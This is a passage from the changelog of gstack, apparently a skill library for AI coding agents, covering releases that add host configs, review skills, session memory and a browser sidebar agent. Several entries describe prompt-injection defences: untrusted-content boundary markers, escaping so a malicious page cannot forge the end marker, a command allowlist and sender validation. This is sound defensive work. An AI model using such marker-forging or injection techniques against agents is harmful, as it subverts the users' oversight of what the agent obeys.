- **Telemetry endpoint uses anon key.** Service role key (bypasses RLS) replaced with anon key for the public telemetry endpoint.
- **killAgent actually kills subprocess.** Cross-process kill signaling via kill-file + polling.

## [0.15.6.2] - 2026-04-04. Anti-Skip Review Rule

Review skills now enforce that every section gets evaluated, regardless of plan type. No more "this is a strategy doc so implementation sections don't apply." If a section genuinely has nothing to flag, say so and move on, but you have to look.

### Added

- **Anti-skip rule in all 4 review skills.** CEO review (sections 1-11), eng review (sections 1-4), design review (passes 1-7), and DX review (passes 1-8) all now require explicit evaluation of every section. Models can no longer skip sections by claiming the plan type makes them irrelevant.
- **CEO review header fix.** Corrected "10 sections" to "11 sections" to match the actual section count (Section 11 is conditional but exists).

## [0.15.6.1] - 2026-04-04

### Fixed

- **Skill prefix self-healing.** Setup now runs `gstack-relink` as a final consistency check after linking skills. If an interrupted setup, stale git state, or upgrade left your `name:` fields out of sync with `skill_prefix: false`, setup will auto-correct on the next run. No more `/gstack-qa` when you wanted `/qa`.

## [0.15.6.0] - 2026-04-04. Declarative Multi-Host Platform

Adding a new coding agent to gstack used to mean touching 9 files and knowing the internals of `gen-skill-docs.ts`. Now it's one TypeScript config file and a re-export. Zero code changes elsewhere. Tests auto-parameterize.

### Added

- **Declarative host config system.** Every host is a typed `HostConfig` object in `hosts/*.ts`. The generator, setup, skill-check, platform-detect, uninstall, and worktree copy all consume configs instead of hardcoded switch statements. Adding a host = one file + re-export in `hosts/index.ts`.
- **4 new hosts: OpenCode, Slate, Cursor, OpenClaw.** `bun run gen:skill-docs --host all` now generates for 8 hosts. Each produces valid SKILL.md output with zero `.claude/skills` path leakage.
- **OpenClaw adapter.** OpenClaw gets a hybrid approach: config for paths/frontmatter/detection + a post-processing adapter for semantic tool mapping (Bash→exec, Agent→sessions_spawn, AskUserQuestion→prose). Includes `SOUL.md` via `staticFiles` config.
- **106 new tests.** 71 tests for config validation, HOST_PATHS derivation, export CLI, golden-file regression, and per-host correctness. 35 parameterized smoke tests covering all 7 external hosts (output exists, no path leakage, frontmatter valid, freshness, skip rules).
- **`host-config-export.ts` CLI.** Exposes host configs to bash scripts via `list`, `get`, `detect`, `validate`, `symlinks` commands. No YAML parsing needed in bash.
- **Contributor `/gstack-contrib-add-host` skill.** Guides new host config creation. Lives in `contrib/`, excluded from user installs.
- **Golden-file baselines.** Snapshots of ship/SKILL.md for Claude, Codex, and Factory verify the refactor produces identical output.
- **Per-host install instructions in README.** Every supported agent has its own copy-paste install block.

### Changed

- **`gen-skill-docs.ts` is now config-driven.** EXTERNAL_HOST_CONFIG, transformFrontmatter host branches, path/tool rewrite if-chains, ALL_HOSTS array, and skill skip logic all replaced with config lookups.
- **`types.ts` derives Host type from configs.** No more hardcoded `'claude' | 'codex' | 'factory'`. HOST_PATHS built dynamically from each config's globalRoot/usesEnvVars.
- **Preamble, co-author trailer, resolver suppression all read from config.** hostConfigDir, co-author strings, and suppressedResolvers driven by host configs instead of per-host switch statements.
- **`skill-check.ts`, `worktree.ts`, `platform-detect` iterate configs.** No per-host blocks to maintain.

### Fixed

- **Sidebar E2E tests now self-contained.** Fixed stale URL assertion in sidebar-url-accuracy, simplified sidebar-css-interaction task. All 3 sidebar tests pass without external browser dependencies.

## [0.15.5.0] - 2026-04-04. Interactive DX Review + Plan Mode Skill Fix

`/plan-devex-review` now feels like sitting down with a developer advocate who has used 100 CLI tools. Instead of speed-running 8 scores, it asks who your developer is, benchmarks you against competitors' onboarding times, makes you design your magical moment, and traces every friction point step by step before scoring anything.

### Added

- **Developer persona interrogation.** The review starts by asking WHO your developer is, with concrete archetypes (YC founder, platform engineer, frontend dev, OSS contributor). The persona shapes every question for the rest of the review.
- **Empathy narrative as conversation starter.** A first-person "I'm a developer who just found your tool..." walkthrough gets shown to you for reaction before any scoring begins. You correct it, and the corrected version goes into the plan.
- **Competitive DX benchmarking.** WebSearch finds your competitors' TTHW and onboarding approaches. You pick your target tier (Champion < 2min, Competitive 2-5min, or current trajectory). That target follows you through every pass.
- **Magical moment design.** You choose how developers should experience the "oh wow" moment: playground, demo command, video, or guided tutorial, with effort/tradeoff analysis.
- **Three review modes.** DX EXPANSION (push for best-in-class), DX POLISH (bulletproof every touchpoint), DX TRIAGE (critical gaps only, ship soon).
- **Friction-point journey tracing.** Instead of a static table, the review traces actual README/docs paths and asks one AskUserQuestion per friction point found.
- **First-time developer roleplay.** A timestamped confusion report from your persona's perspective, grounded in actual docs and code.

### Fixed

- **Skill invocation during plan mode.** When you invoke a skill (like `/plan-ceo-review`) during plan mode, Claude now treats it as executable instructions instead of ignoring it and trying to exit. The loaded skill takes precedence over generic plan mode behavior. STOP points actually stop. This fix ships in every skill's preamble.

## [0.15.4.0] - 2026-04-03. Autoplan DX Integration + Docs

`/autoplan` now auto-detects developer-facing plans and runs `/plan-devex-review` as Phase 3.5, with full dual-voice adversarial review (Claude subagent + Codex). If your plan mentions APIs, CLIs, SDKs, agent actions, or anything developers integrate with, the DX review kicks in automatically. No extra commands needed.

### Added

- **DX review in /autoplan.** Phase 3.5 runs after Eng review when developer-facing scope is detected. Includes DX-specific dual voices, consensus table, and full 8-dimension scorecard. Triggers on APIs, CLIs, SDKs, shell commands, Claude Code skills, OpenClaw actions, MCP servers, and anything devs implement or debug.
- **"Which review?" comparison table in README.** Quick reference showing which review to use for end users vs developers vs architecture, and when `/autoplan` covers all three.
- **`/plan-devex-review` and `/devex-review` in install instructions.** Both skills now listed in the copy-paste install prompt so new users discover them immediately.

### Changed

- **Autoplan pipeline order.** Now CEO → Design → Eng → DX (was CEO → Design → Eng). DX runs last because it benefits from knowing the architecture.

## [0.15.3.0] - 2026-04-03. Developer Experience Review

You can now review plans for DX quality before writing code. `/plan-devex-review` rates 8 dimensions (getting started, API design, error messages, docs, upgrade path, dev environment, community, measurement) on a 0-10 scale with trend tracking across reviews. After shipping, `/devex-review` uses the browse tool to actually test the live experience and compare against plan-stage scores.

### Added

- **/plan-devex-review skill.** Plan-stage DX review based on Addy Osmani's framework. Auto-detects product type (API, CLI, SDK, library, platform, docs, Claude Code skill). Includes developer empathy simulation, DX scorecard with trends, and a conditional Claude Code Skill DX checklist for reviewing skills themselves.
- **/devex-review skill.** Live DX audit using the browse tool. Tests docs, getting started flows, error messages, and CLI help. Each dimension scored as TESTED, INFERRED, or N/A with screenshot evidence. Boomerang comparison: plan said TTHW would be 3 minutes, reality says 8.
- **DX Hall of Fame reference.** On-demand examples from Stripe, Vercel, Elm, Rust, htmx, Tailwind, and more, loaded per review pass to avoid prompt bloat.
- **`{{DX_FRAMEWORK}}` resolver.** Shared DX principles, characteristics, and scoring rubric for both skills. Compact (~150 lines) so it doesn't eat context.
- **DX Review in the dashboard.** Both skills write to the review log and show up in the Review Readiness Dashboard alongside CEO, Eng, and Design reviews.

## [0.15.2.1] - 2026-04-02. Setup Runs Migrations

`git pull && ./setup` now applies version migrations automatically. Previously, migrations only ran during `/gstack-upgrade`, so users who updated via git pull never got state fixes (like the skill directory restructure from v0.15.1.0). Now `./setup` tracks the last version it ran at and applies any pending migrations on every run.

### Fixed

- **Setup runs pending migrations.** `./setup` now checks `~/.gstack/.last-setup-version` and runs any migration scripts newer than that version. No more broken skill directories after `git pull`.
- **Space-safe migration loop.** Uses `while read` instead of `for` loop to handle paths with spaces correctly.
- **Fresh installs skip migrations.** New installs write the version marker without running historical migrations that don't apply to them.
- **Future migration guard.** Migrations for versions newer than the current VERSION are skipped, preventing premature execution from development branches.
- **Missing VERSION guard.** If the VERSION file is absent, the version marker isn't written, preventing permanent migration poisoning.

## [0.15.2.0] - 2026-04-02. Voice-Friendly Skill Triggers

Say "run a security check" instead of remembering `/cso`. Skills now have voice-friendly trigger phrases that work with AquaVoice, Whisper, and other speech-to-text tools. No more fighting with acronyms that get transcribed wrong ("CSO" -> "CEO" -> wrong skill).

### Added

- **Voice triggers for 10 skills.** Each skill gets natural-language aliases baked into its description. "see-so", "security review", "tech review", "code x", "speed test" and more. The right skill activates even when speech-to-text mangles the command name.
- **`voice-triggers:` YAML field in templates.** Structured authoring: add aliases to any `.tmpl` frontmatter, `gen-skill-docs` folds them into the description during generation. Clean source, clean output.
- **Voice input section in README.** New users know skills work with voice from day one.
- **`voice-triggers` documented in CONTRIBUTING.md.** Frontmatter contract updated so contributors know the field exists.

## [0.15.1.0] - 2026-04-01. Design Without Shotgun

You can now run `/design-html` without having to run `/design-shotgun` first. The skill detects what design context exists (CEO plans, design review artifacts, approved mockups) and asks how you want to proceed. Start from a plan, a description, or a provided PNG, not just an approved mockup.

### Changed

- **`/design-html` works from any starting point.** Three routing modes: (A) approved mockup from /design-shotgun, (B) CEO plan and/or design variants without formal approval, (C) clean slate with just a description. Each mode asks the right questions and proceeds accordingly.
- **AskUserQuestion for missing context.** Instead of blocking with "no approved design found," the skill now offers choices: run the planning skills first, provide a PNG, or just describe what you want and design live.

### Fixed

- **Skills now discovered as top-level names.** Setup creates real directories with SKILL.md symlinks inside instead of directory symlinks. This fixes Claude auto-prefixing skill names with `gstack-` when using `--no-prefix` mode. `/qa` is now just `/qa`, not `/gstack-qa`.

## [0.15.0.0] - 2026-04-01. Session Intelligence

Your AI sessions now remember what happened. Plans, reviews, checkpoints, and health scores survive context compaction and compound across sessions. Every skill writes a timeline event, and the preamble reads recent artifacts on startup so the agent knows where you left off.

### Added

- **Session timeline.** Every skill auto-logs start/complete events to `timeline.jsonl`. Local-only, never sent anywhere, always on regardless of telemetry setting. /retro can now show "this week: 3 /review, 2 /ship across 3 branches."
- **Context recovery.** After compaction or session start, the preamble lists your recent CEO plans, checkpoints, and reviews. The agent reads the most recent one to recover decisions and progress without asking you to repeat yourself.
- **Cross-session injection.** On session start, the preamble prints your last skill run on this branch and your latest checkpoint. You see "Last session: /review (success)" before typing anything.
- **Predictive skill suggestion.** If your last 3 sessions on a branch follow a pattern (review, ship, review), gstack suggests what you probably want next.
- **Welcome back message.** Sessions synthesize a one-paragraph briefing: branch name, last skill, checkpoint status, health score.
- **`/checkpoint` skill.** Save and resume working state snapshots. Captures git state, decisions made, remaining work. Supports cross-branch listing for Conductor workspace handoff between agents.
- **`/health` skill.** Code quality scorekeeper. Wraps your project's tools (tsc, biome, knip, shellcheck, tests), computes a composite 0-10 score, tracks trends over time. When the score drops, it tells you exactly what changed and where to fix it.
- **Timeline binaries.** `bin/gstack-timeline-log` and `bin/gstack-timeline-read` for append-only JSONL timeline storage.
- **Routing rules.** /checkpoint and /health added to the skill routing injection.

## [0.14.6.0] - 2026-03-31. Recursive Self-Improvement

gstack now learns from its own mistakes. Every skill session captures operational failures (CLI errors, wrong approaches, project quirks) and surfaces them in future sessions. No setup needed, just works.

### Added

- **Operational self-improvement.** When a command fails or you hit a project-specific gotcha, gstack logs it. Next session, it remembers. "bun test needs --timeout 30000" or "login flow requires cookie import first" ... the kind of stuff that wastes 10 minutes every time you forget it.
- **Learnings summary in preamble.** When your project has 5+ learnings, gstack shows the top 3 at the start of every session so you see them before you start working.
- **13 skills now learn.** office-hours, plan-ceo-review, plan-eng-review, plan-design-review, design-review, design-consultation, cso, qa, qa-only, and retro all now read prior learnings AND contribute new ones. Previously only review, ship, and investigate were wired.

### Changed

- **Contributor mode replaced.** The old contributor mode (manual opt-in, markdown reports to ~/.gstack/contributor-logs/) never fired in 18 days of heavy use. Replaced with automatic operational learning that captures the same insights without any setup.

### Fixed

- **learnings-show E2E test slug mismatch.** The test seeded learnings at a hardcoded path but gstack-slug computed a different path at runtime. Now computes the slug dynamically.

## [0.14.5.0] - 2026-03-31. Ship Idempotency + Skill Prefix Fix

Re-running `/ship` after a failed push or PR creation no longer double-bumps your version or duplicates your CHANGELOG. And if you use `--prefix` mode, your skill names actually work now.

### Fixed

- **`/ship` is now idempotent (#649).** If push succeeds but PR creation fails (API outage, rate limit), re-running `/ship` detects the already-bumped VERSION, skips the push if already up to date, and updates the existing PR body instead of creating a duplicate. The CHANGELOG step was already idempotent by design ("replace with unified entry"), so no guard needed there.
- **Skill prefix actually patches `name:` in SKILL.md (#620, #578).** `./setup --prefix` and `gstack-relink` now patch the `name:` field in each skill's SKILL.md frontmatter to match the prefix setting. Previously, symlinks were prefixed but Claude Code read the unprefixed `name:` field and ignored the prefix entirely. Edge cases handled: `gstack-upgrade` not double-prefixed, root `gstack` skill never prefixed, prefix removal restores original names.
- **`gen-skill-docs` warns when prefix patches need re-applying.** After regenerating SKILL.md files, if `skill_prefix: true` is set in config, a warning reminds you to run `gstack-relink`.
- **PR idempotency checks open state.** The PR guard now verifies the existing PR is `OPEN`, so closed PRs don't block new PR creation.
- **`--no-prefix` ordering bug.** `gstack-patch-names` now runs before `link_claude_skill_dirs` so symlink names reflect the correct patched values.

### Added

- **`bin/gstack-patch-names` shared helper.** DRY extraction of the name-patching logic used by both `setup` and `gstack-relink`. Handles all edge cases (no frontmatter, already-prefixed, inherently-prefixed dirs) with portable `mktemp + mv` sed.

### For contributors

- 4 unit tests for name: patching in `relink.test.ts`
- 2 tests for gen-skill-docs prefix warning
- 1 E2E test for ship idempotency (periodic tier)
- Updated `setupMockInstall` to write SKILL.md with proper frontmatter

## [0.14.4.0] - 2026-03-31. Review Army: Parallel Specialist Reviewers

Every `/review` now dispatches specialist subagents in parallel. Instead of one agent applying one giant checklist, you get focused reviewers for testing gaps, maintainability, security, performance, data migrations, API contracts, and adversarial red-teaming. Each specialist reads the diff independently with fresh context, outputs structured JSON findings, and the main agent merges, deduplicates, and boosts confidence when multiple specialists flag the same issue. Small diffs (<50 lines) skip specialists entirely for speed. Large diffs (200+ lines) activate the Red Team for adversarial analysis on top.

### Added

- **7 specialist reviewers** running in parallel via Agent tool subagents. Always-on: Testing + Maintainability. Conditional: Security (auth scope), Performance (backend/frontend), Data Migration (migration files), API Contract (controllers/routes), Red Team (large diffs or critical findings).
- **JSON finding schema.** Specialists output structured JSON objects with severity, confidence, path, line, category, fix, and fingerprint fields. Reliable parsing, no more pipe-delimited text.
- **Fingerprint-based dedup.** When two specialists flag the same file:line:category, the finding gets boosted confidence and a "MULTI-SPECIALIST CONFIRMED" marker.
- **PR Quality Score.** Every review computes a 0-10 quality score: `10 - (critical * 2 + informational * 0.5)`. Logged to review history for trending via `/retro`.
- **3 new diff-scope signals.** `gstack-diff-scope` now detects SCOPE_MIGRATIONS, SCOPE_API, and SCOPE_AUTH to activate the right specialists.
- **Learning-informed specialist prompts.** Each specialist gets past learnings for its domain injected into the prompt, so reviews get smarter over time.
- **14 new diff-scope tests** covering all 9 scope signals including the 3 new ones.
- **7 new E2E tests** (5 gate, 2 periodic) covering migration safety, N+1 detection, delivery audit, quality score, JSON schema compliance, red team activation, and multi-specialist consensus.

### Changed

- **Review checklist refactored.** Categories now covered by specialists (test gaps, dead code, magic numbers, performance, crypto) removed from the main checklist. Main agent focuses on CRITICAL pass only.
- **Delivery Integrity enhanced.** The existing plan completion audit now investigates WHY items are missing (not just that they're missing) and logs plan-file discrepancies as learnings. Commit-message inference is informational only, never persisted.

## [0.14.3.0] - 2026-03-31. Always-On Adversarial Review + Scope Drift + Plan Mode Design Tools

Every code review now runs adversarial analysis from both Claude and Codex, regardless of diff size. A 5-line auth change gets the same cross-model scrutiny as a 500-line feature. The old "skip adversarial for small diffs" heuristic is gone... diff size was never a good proxy for risk.

### Added

- **Always-on adversarial review.** Every `/review` and `/ship` run now dispatches both a Claude adversarial subagent and a Codex adversarial challenge. No more tier-based skipping. The Codex structured review (formal P1 pass/fail gate) still runs on large diffs (200+ lines) where the formal gate adds value.
- **Scope drift detection in `/ship`.** Before shipping, `/ship` now checks whether you built what you said you'd build, nothing more, nothing less. Catches scope creep ("while I was in there..." changes) and missing requirements. Results appear in the PR body.
- **Plan Mode Safe Operations.** Browse screenshots, design mockups, Codex outside voices, and writing to `~/.gstack/` are now explicitly allowed in plan mode. Design-related skills (`/design-consultation`, `/design-shotgun`, `/design-html`, `/plan-design-review`) can generate visual artifacts during planning without fighting plan mode restrictions.

### Changed

- **Adversarial opt-out split.** The legacy `codex_reviews=disabled` config now only gates Codex passes. Claude adversarial subagent always runs since it's free and fast. Previously the kill switch disabled everything.
- **Cross-model tension format.** Outside voice disagreements now include `RECOMMENDATION` and `Completeness` scores, matching the standard AskUserQuestion format used everywhere else in gstack.
- **Scope drift is now a shared resolver.** Extracted from `/review` into `generateScopeDrift()` so both `/review` and `/ship` use the same logic. DRY.

## [0.14.2.0] - 2026-03-30. Sidebar CSS Inspector + Per-Tab Agents

The sidebar is now a visual design tool. Pick any element on the page and see the full CSS rule cascade, box model, and computed styles right in the Side Panel. Edit styles live and see changes instantly. Each browser tab gets its own independent agent, so you can work on multiple pages simultaneously without cross-talk. Cleanup is LLM-powered... the agent snapshots the page, understands it semantically, and removes the junk while keeping the site's identity.

### Added

- **CSS Inspector in the sidebar.** Click "Pick Element", hover over anything, click it, and the sidebar shows the full CSS rule cascade with specificity badges, source file:line, box model visualization (gstack palette colors), and computed styles. Like Chrome DevTools, but inside the sidebar.
- **Live style editing.** `$B style .selector property value` modifies CSS rules in real time via CDP. Changes show instantly on the page. Undo with `$B style --undo`.
- **Per-tab agents.** Each browser tab gets its own Claude agent process via `BROWSE_TAB` env var. Switch tabs in the browser and the sidebar swaps to that tab's chat history. Ask questions about different pages in parallel without agents fighting over which tab is active.
- **Tab tracking.** User-created tabs (Cmd+T, right-click "Open in new tab") are automatically tracked via `context.on('page')`. The sidebar tab bar updates in real time. Click a tab in the sidebar to switch the browser. Close a tab and it disappears.
- **LLM-powered page cleanup.** The cleanup button sends a prompt to the sidebar agent (which IS an LLM). The agent runs a deterministic first pass, snapshots the page, analyzes what's left, and removes clutter intelligently while preserving site branding. Works on any site without brittle CSS selectors.
- **Pretty screenshots.** `$B prettyscreenshot --cleanup --scroll-to ".pricing" ~/Desktop/hero.png` combines cleanup, scroll positioning, and screenshot in one command.
- **Stop button.** A red stop button appears in the sidebar when an agent is working. Click it to cancel the current task.
- **CSP fallback for inspector.** Sites with strict Content Security Policy (like SF Chronicle) now get a basic picker via the always-loaded content script. You see computed styles, box model, and same-origin CSS rules. Full CDP mode on sites that allow it.
- **Cleanup + Screenshot buttons in chat toolbar.** Not hidden in debug... right there in the chat. Disabled when disconnected so you don't get error spam.

### Fixed

- **Inspector message allowlist.** The background.js allowlist was missing all inspector message types, silently rejecting them. The inspector was broken for all pages, not just CSP-restricted ones. (Found by Codex review.)
- **Sticky nav preservation.** Cleanup no longer removes the site's top nav bar. Sorts sticky elements by position and preserves the first full-width element near the top.
- **Agent won't stop.** System prompt now tells the agent to be concise and stop when done. No more endless screenshot-and-highlight loops.
- **Focus stealing.** Agent commands no longer pull Chrome to the foreground. Internal tab pinning uses `bringToFront: false`.
- **Chat message dedup.** Old messages from previous sessions no longer repeat on reconnect.

### Changed

- **Sidebar banner** now says "Browser co-pilot" instead of the old mode-specific text.
- **Input placeholder** is "Ask about this page..." (more inviting than the old placeholder).
- **System prompt** includes prompt injection defense and allowed-commands whitelist from the security audit.

## [0.14.1.0] - 2026-03-30. Comparison Board is the Chooser

The design comparison board now always opens automatically when reviewing variants. No more inline image + "which do you prefer?". the board has rating controls, comments, remix/regenerate buttons, and structured feedback output. That's the experience. All 3 design skills (/plan-design-review, /design-shotgun, /design-consultation) get this fix.

### Changed

- **Comparison board is now mandatory.** After generating design variants, the agent creates a comparison board with `$D compare --serve` and sends you the URL via AskUserQuestion. You interact with the board, click Submit, and the agent reads your structured feedback from `feedback.json`. No more polling loops as the primary wait mechanism.
- **AskUserQuestion is the wait, not the chooser.** The agent uses AskUserQuestion to tell you the board is open and wait for you to finish, not to present variants inline and ask for preferences. The board URL is always included so you can click through if you lost the tab.
- **Serve-failure fallback improved.** If the comparison board server can't start, variants are shown inline via Read tool before asking for preferences. you're no longer choosing blind.

### Fixed

- **Board URL corrected.** The recovery URL now points to `http://127.0.0.1:<PORT>/` (where the server actually serves) instead of `/design-board.html` (which would 404).

## [0.14.0.0] - 2026-03-30. Design to Code

You can now go from an approved design mockup to production-quality HTML with one command. `/design-html` takes the winning design from `/design-shotgun` and generates Pretext-native HTML where text actually reflows on resize, heights adjust to content, and layouts are dynamic. No more hardcoded CSS heights or broken text overflow.

### Added

- **`/design-html` skill.** Takes an approved mockup from `/design-shotgun` and generates self-contained HTML with Pretext for computed text layout. Smart API routing picks the right Pretext patterns for each design type (simple layouts, card grids, chat bubbles, editorial spreads). Includes a refinement loop where you preview in browser, give feedback, and iterate until it's right.
- **Pretext vendored.** 30KB Pretext source bundled in `design-html/vendor/pretext.js` for offline, zero-dependency HTML output. Framework output (React/Svelte/Vue) uses npm install instead.
- **Design pipeline chaining.** `/design-shotgun` Step 6 now offers `/design-html` as the next step. `/design-consultation` suggests it after producing screen-level designs. `/plan-design-review` chains to both `/design-shotgun` and `/design-html` alongside review skills.

### Changed

- **`/plan-design-review` next steps expanded.** Previously only chained to other review skills. Now also offers `/design-shotgun` (explore variants) and `/design-html` (generate HTML from approved mockups).

## [0.13.10.0] - 2026-03-29. Office Hours Gets a Reading List

Repeat /office-hours users now get fresh, curated resources every session instead of the same YC closing. 34 hand-picked videos and essays from Garry Tan, Lightcone Podcast, YC Startup School, and Paul Graham, contextually matched to what came up during the session. The system remembers what it already showed you, so you never see the same recommendation twice.

### Added

- **Rotating founder resources in /office-hours closing.** 34 curated resources across 5 categories (Garry Tan videos, YC Backstory, Lightcone Podcast, YC Startup School, Paul Graham essays). Claude picks 2-3 per session based on session context, not randomly.
- **Resource dedup log.** Tracks which resources were shown in `~/.gstack/projects/$SLUG/resources-shown.jsonl` so repeat users always see fresh content.
- **Resource selection analytics.** Logs which resources get picked to `skill-usage.jsonl` so you can see patterns over time.
- **Browser-open offer.** After showing resources, offers to open them in your browser so you can check them out later.

### Fixed

- **Build script chmod safety net.** `bun build --compile` output now gets `chmod +x` explicitly, preventing "permission denied" errors when binaries lose execute permission during workspace cloning or file transfer.

## [0.13.9.0] - 2026-03-29. Composable Skills

Skills can now load other skills inline. Write `{{INVOKE_SKILL:office-hours}}` in a template and the generator emits the right "read file, skip preamble, follow instructions" prose automatically. Handles host-aware paths and customizable skip lists.

### Added

- **`{{INVOKE_SKILL:skill-name}}` resolver.** Composable skill loading as a first-class resolver. Emits host-aware prose that tells Claude or Codex to read another skill's SKILL.md and follow it inline, skipping preamble sections. Supports optional `skip=` parameter for additional sections to skip.
- **Parameterized resolver support.** The placeholder regex now handles `{{NAME:arg1:arg2}}`, enabling resolvers that take arguments at generation time. Fully backward compatible with existing `{{NAME}}` patterns.
- **`{{CHANGELOG_WORKFLOW}}` resolver.** Changelog generation logic extracted from /ship into a reusable resolver. Includes voice guidance ("lead with what the user can now do") inline.
- **Frontmatter `name:` for skill registration.** Setup script and gen-skill-docs now read `name:` from SKILL.md frontmatter for symlink naming. Enables directory names that differ from invocation names (e.g., `run-tests/` directory registered as `/test`).
- **Proactive skill routing.** Skills now ask once to add routing rules to your project's CLAUDE.md. This makes Claude invoke the right skill automatically instead of answering directly. Your choice is remembered in `~/.gstack/config.yaml`.
- **Annotated config file.** `~/.gstack/config.yaml` now gets a documented header on first creation explaining every setting. Edit it anytime.

### Changed

- **BENEFITS_FROM now delegates to INVOKE_SKILL.** Eliminated duplicated skip-list logic. The prerequisite offer wrapper stays in BENEFITS_FROM, but the actual "read and follow" instructions come from INVOKE_SKILL.
- **/plan-ceo-review mid-session fallback uses INVOKE_SKILL.** The "user can't articulate the problem, offer /office-hours" path now uses the composable resolver instead of inline prose.
- **Stronger routing language.** office-hours, investigate, and ship descriptions now say "Proactively invoke" instead of "Proactively suggest" for more reliable automatic skill invocation.

### Fixed

- **Config grep anchored to line start.** Commented header lines no longer shadow real config values.

## [0.13.8.0] - 2026-03-29. Security Audit Round 2

Browse output is now wrapped in trust boundary markers so agents can tell page content from tool output. Markers are escape-proof. The Chrome extension validates message senders. CDP binds to localhost only. Bun installs use checksum verification.

### Fixed

- **Trust boundary markers are escape-proof.** URLs sanitized (no newlines), marker strings escaped in content. A malicious page can't forge the END marker to break out of the untrusted block.

### Added

- **Content trust boundary markers.** Every browse command that returns page content (`text`, `html`, `links`, `forms`, `accessibility`, `console`, `dialog`, `snapshot`, `diff`, `resume`, `watch stop`) wraps output in `--- BEGIN/END UNTRUSTED EXTERNAL CONTENT ---` markers. Agents know what's page content vs tool output.
- **Extension sender validation.** Chrome extension rejects messages from unknown senders and enforces a message type allowlist. Prevents cross-extension message spoofing.
- **CDP localhost-only binding.** `bin/chrome-cdp` now passes `--remote-debugging-address=127.0.0.1` and `--remote-allow-origins` to prevent remote debugging exposure.
- **Checksum-verified bun install.** The browse SKILL.md bootstrap now downloads the bun install script to a temp file and verifies SHA-256 before executing. No more piping curl to bash.

### Removed

- **Factory Droid support.** Removed `--host factory`, `.factory/` generated skills, Factory CI checks, and all Factory-specific code paths.

## [0.13.7.0] - 2026-03-29. Community Wave

Six community fixes with 16 new tests. Telemetry off now means off everywhere. Skills are findable by name. And changing your prefix setting actually works now.

### Fixed

- **Telemetry off means off everywhere.** When you set telemetry to off, gstack no longer writes local JSONL analytics files. Previously "off" only stopped remote reporting. Now nothing is written anywhere. Clean trust contract.
- **`find -delete` replaced with POSIX `-exec rm`.** Safety Net and other non-GNU environments no longer choke on session cleanup.
- **No more preemptive context warnings.** `/plan-eng-review` no longer warns you about running low on context. The system handles compaction automatically.
- **Sidebar security test updated** for Write tool fallback string change.
- **`gstack-relink` no longer double-prefixes `gstack-upgrade`.** Setting `skill_prefix=true` was creating `gstack-gstack-upgrade` instead of keeping the existing name. Now matches `setup` script behavior.

### Added

- **Skill discoverability.** Every skill description now contains "(gstack)" so you can find gstack skills by searching in Claude Code's command palette.
- **Feature signal detection in `/ship`.** Version bump now checks for new routes, migrations, test+source pairs, and `feat/` branches. Catches MINOR-worthy changes that line count alone misses.
- **Sidebar Write tool.** Both the sidebar agent and headed-mode server now include Write in allowedTools. Write doesn't expand the attack surface beyond what Bash already provides.
- **Sidebar stderr capture.** The sidebar agent now buffers stderr and includes it in error and timeout messages instead of silently discarding it.
- **`bin/gstack-relink`** re-creates skill symlinks when you change `skill_prefix` via `gstack-config set`. No more manual `./setup` re-run needed.
- **`bin/gstack-open-url`** cross-platform URL opener (macOS: `open`, Linux: `xdg-open`, Windows: `start`).

## [0.13.6.0] - 2026-03-29. GStack Learns

Every session now makes the next one smarter. gstack remembers patterns, pitfalls, and preferences across sessions and uses them to improve every review, plan, debug, and ship. The more you use it, the better it gets on your codebase.

### Added

- **Project learnings system.** gstack automatically captures patterns and pitfalls it discovers during /review, /ship, /investigate, and other skills. Stored per-project at `~/.gstack/projects/{slug}/learnings.jsonl`. Append-only, Supabase-compatible schema.
- **`/learn` skill.** Review what gstack has learned (`/learn`), search (`/learn search auth`), prune stale entries (`/learn prune`), export to markdown (`/learn export`), or check stats (`/learn stats`). Manually add learnings with `/learn add`.
- **Confidence calibration.** Every review finding now includes a confidence score (1-10). High-confidence findings (7+) show normally, medium (5-6) show with a caveat, low (<5) are suppressed. No more crying wolf.
- **"Learning applied" callouts.** When a review finding matches a past learning, gstack displays it: "Prior learning applied: [pattern] (confidence 8/10, from 2026-03-15)". You can see the compounding in action.
- **Cross-project discovery.** gstack can search learnings from your other projects for matching patterns. Opt-in, with a one-time AskUserQuestion for consent. Stays local to your machine.
- **Confidence decay.** Observed and inferred learnings lose 1 confidence point per 30 days. User-stated preferences never decay. A good pattern is a good pattern forever, but uncertain observations fade.
- **Learnings count in preamble.** Every skill now shows "LEARNINGS: N entries loaded" during startup.
- **5-release roadmap design doc.** `docs/designs/SELF_LEARNING_V0.md` maps the path from R1 (GStack Learns) through R4 (/autoship, one-command full feature) to R5 (Studio).

## [0.13.5.1] - 2026-03-29. Gitignore .factory

### Changed

- **Stop tracking `.factory/` directory.** Generated Factory Droid skill files are now gitignored, same as `.claude/skills/` and `.agents/`. Removes 29 generated SKILL.md files from the repo. The `setup` script and `bun run build` regenerate these on demand.

## [0.13.5.0] - 2026-03-29. Factory Droid Compatibility

gstack now works with Factory Droid. Type `/qa` in Droid and get the same 29 skills you use in Claude Code. This makes gstack the first skill library that works across Claude Code, Codex, and Factory Droid.

### Added

- **Factory Droid support (`--host factory`).** Generate Factory-native skills with `bun run gen:skill-docs --host factory`. Skills install to `.factory/skills/` with proper frontmatter (`user-invocable: true`, `disable-model-invocation: true` for sensitive skills like /ship and /land-and-deploy).
- **`--host all` flag.** One command generates skills for all 3 hosts. Fault-tolerant: catches per-host errors, only fails if Claude generation fails.
- **`gstack-platform-detect` binary.** Prints a table of installed AI coding agents with versions, skill paths, and gstack status. Useful for debugging multi-host setups.
- **Sensitive skill safety.** Six skills with side effects (ship, land-and-deploy, guard, careful, freeze, unfreeze) now declare `sensitive: true` in their templates. Factory Droids won't auto-invoke them. Claude and Codex output strips the field.
- **Factory CI freshness check.** The skill-docs workflow now verifies Factory output is fresh on every PR.
- **Factory awareness across operational tooling.** skill-check dashboard, gstack-uninstall, and setup script all know about Factory.

### Changed

- **Refactored multi-host generation.** Extracted `processExternalHost()` shared helper from the Codex-specific code block. Both Codex and Factory use the same function for output routing, symlink loop detection, frontmatter transformation, and path rewrites. Codex output is byte-identical after refactor.
- **Build script uses `--host all`.** Replaces chained `gen:skill-docs` calls with a single `--host all` invocation.
- **Tool name translation for Factory.** Claude Code tool names ("use the Bash tool") are translated to generic phrasing ("run this command") in Factory output, matching Factory's tool naming conventions.

## [0.13.4.0] - 2026-03-29. Sidebar Defense

The Chrome sidebar now defends against prompt injection attacks. Three layers: XML-framed prompts with trust boundaries, a command allowlist that restricts bash to browse commands only, and Opus as the default model (harder to manipulate).

### Fixed

